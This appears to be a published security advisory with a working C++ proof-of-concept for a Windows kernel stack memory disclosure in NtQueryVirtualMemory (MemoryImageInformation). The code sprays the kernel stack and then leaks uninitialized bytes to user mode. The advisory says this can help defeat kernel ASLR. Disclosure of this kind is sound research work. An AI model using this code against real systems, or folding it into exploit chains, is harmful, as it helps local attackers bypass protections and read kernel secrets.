Microsoft Windows - 'nt!NtQueryVirtualMemory (MemoryImageInformation)' Kernel 64-bit Stack Memory Disclosure

/*
We have discovered that the nt!NtQueryVirtualMemory system call invoked with the MemoryImageInformation (0x6) information class discloses uninitialized kernel stack memory to user-mode clients. The vulnerability affects 64-bit versions of Windows 8 to 10.

The layout of the corresponding output buffer is unknown to us; however, we have determined that an output size of 24 bytes is accepted. At the end of that memory area, 4 uninitialized bytes from the kernel stack can be leaked to the client application.

The attached proof-of-concept program demonstrates the disclosure by spraying the kernel stack with a large number of 0x41 ('A') marker bytes, and then calling the affected system call with the MemoryImageInformation info class and the allowed output size. An example output is as follows:

--- cut ---
  Status: 0, Return Length: 18
  00000000: 00 00 f3 0c f7 7f 00 00 00 20 02 00 00 00 00 00 ......... ......
  00000010: 00 00 00 00 41 41 41 41 ?? ?? ?? ?? ?? ?? ?? ?? ....AAAA........
--- cut ---

It is clearly visible here that the 4 trailing bytes copied from ring-0 to ring-3 remained uninitialized. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space.
*/

#include <Windows.h>
#include <winternl.h>

#include <cstdio>

#pragma comment(lib, "ntdll.lib")

#define MemoryImageInformation ((MEMORY_INFORMATION_CLASS)6)

extern "C" {
  typedef DWORD MEMORY_INFORMATION_CLASS;
  NTSTATUS NTAPI NtQueryVirtualMemory(
    _In_      HANDLE                   ProcessHandle,
    _In_opt_  PVOID                    BaseAddress,
    _In_      MEMORY_INFORMATION_CLASS MemoryInformationClass,
    _Out_     PVOID                    MemoryInformation,
    _In_      SIZE_T                   MemoryInformationLength,
    _Out_opt_ PSIZE_T                  ReturnLength
  );
};

VOID PrintHex(PVOID Buffer, ULONG dwBytes) {
  PBYTE Data = (PBYTE)Buffer;
  for (ULONG i = 0; i < dwBytes; i += 16) {
    printf("%.8x: ", i);

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes) {
        printf("%.2x ", Data[i + j]);
      }
      else {
        printf("?? ");
      }
    }

    for (ULONG j = 0; j < 16; j++) {
      if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
        printf("%c", Data[i + j]);
      }
      else {
        printf(".");
      }
    }

    printf("\n");
  }
}

VOID MyMemset(PBYTE ptr, BYTE byte, ULONG size) {
  for (ULONG i = 0; i < size; i++) {
    ptr[i] = byte;
  }
}

VOID SprayKernelStack() {
  static bool initialized = false;
  static HPALETTE(NTAPI *EngCreatePalette)(
    _In_ ULONG iMode,
    _In_ ULONG cColors,
    _In_ ULONG *pulColors,
    _In_ FLONG flRed,
    _In_ FLONG flGreen,
    _In_ FLONG flBlue
    );

  if (!initialized) {
    EngCreatePalette = (HPALETTE(NTAPI*)(ULONG, ULONG, ULONG *, FLONG, FLONG, FLONG))GetProcAddress(LoadLibrary(L"gdi32.dll"), "EngCreatePalette");
    initialized = true;
  }

  static ULONG buffer[256];
  MyMemset((PBYTE)buffer, 'A', sizeof(buffer));
  EngCreatePalette(1, ARRAYSIZE(buffer), buffer, 0, 0, 0);
  MyMemset((PBYTE)buffer, 'B', sizeof(buffer));
}

int main() {
  static BYTE OutputBuffer[1024];

  SprayKernelStack();

  SIZE_T ReturnLength = 0;
  NTSTATUS Status = NtQueryVirtualMemory(GetCurrentProcess(), GetModuleHandle(NULL), MemoryImageInformation, OutputBuffer, sizeof(OutputBuffer), &ReturnLength);

  printf("Status: %x, Return Length: %x\n", Status, ReturnLength);
  PrintHex(OutputBuffer, ReturnLength);

  return 0;
}